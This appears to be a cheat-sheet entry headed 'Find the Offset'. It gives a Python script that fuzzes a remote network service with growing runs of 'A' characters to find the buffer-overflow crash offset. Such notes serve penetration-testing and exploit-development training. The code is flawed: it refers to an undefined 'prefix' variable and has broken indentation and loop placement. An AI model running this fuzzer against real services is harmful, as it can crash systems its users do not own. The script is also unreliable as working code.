Find the Offset

Send socket request- increase offset by 100:

import socket, struct,sys,time

rhost = 'ip'
rport = port
string = "A"*100
print(f'Fuzzing \"{string}\"')
timeout = 5 
while True:
	try:
		with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
		s.settimeout(timeout)
		s.connect((rhost,rport))
		s.recv(1024)
		print(f'fuzzing: {len(string)}')
		s.send(bytes(string, "latin-1"))
		s.recv(1024)
	except Exception as e:
		print(f'fuzzing failed, offset: {len(string)-len(prefix)}')
		print(e)
		exit(0)

	string +="A"*100
time.sleep(1)

Last updated